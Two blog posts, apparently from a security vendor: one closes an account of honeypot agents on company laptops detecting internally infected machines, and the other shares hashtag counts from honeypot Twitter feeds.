After looking at the emails and realizing what was happening, I got on the HPSS console and used the HPSS event viewer to get details. I learned that the attackers were internal within Company A space. Courtesy of HPSS I had their source IP addresses and the common payload they all delivered.  Within Company A I gathered information via netbios scans of the source IPs.  The infected machines were all Company A laptops belonging to various non-technical staff on the East Coast of the U.S.

All of that got passed on to the Company A CIO office. IDS signatures were generated, tweaked, and eventually the alerts stopped.  I provided payload and IP information from HPSS throughout the process.

I came away from the experience with a firm belief that company laptops, outfitted with HoneyPoint agents, are an excellent way of getting meaningful detection out into the field.

I strongly recommend you consider something similar. Your organization’s company laptops are unavoidably on the front-line of modern attacks.

Use them to your advantage.

 

 

Playing with Honeypot Twitter Data

I just wanted to share a bit of fun from my daily research work. I monitor a lot of honeypot data on a global scale, most of which is generated from HoneyPoint, of course. The HITME produces large amounts of data every hour, and it is a ton of fun to play with.

But, I also monitor several Twitter feeds of honeypot data, and I wanted to share a few quick things with you from there.

Below is a topic cloud from the feeds for yesterday. The larger the words, the more numerous their use:

Topicpaircloud

I also rank hashtags by use, and here are a few high hitters, and their number of uses in a day’s worth of data back in July:

58565 #netmenaces
11302 #hit
5959 #blacklisted
5379 #host
2990 #telnet
2813 #badabuse
2660 #infosec
2660 #cybersecurity
2301 #botabuse
2142 #smb
1723 #mssql
1311 #wordpress
1091 #mysql

Do you generate data like this? If so, how do you play with it? Hit me up on Twitter (@lbhuston) and share your process.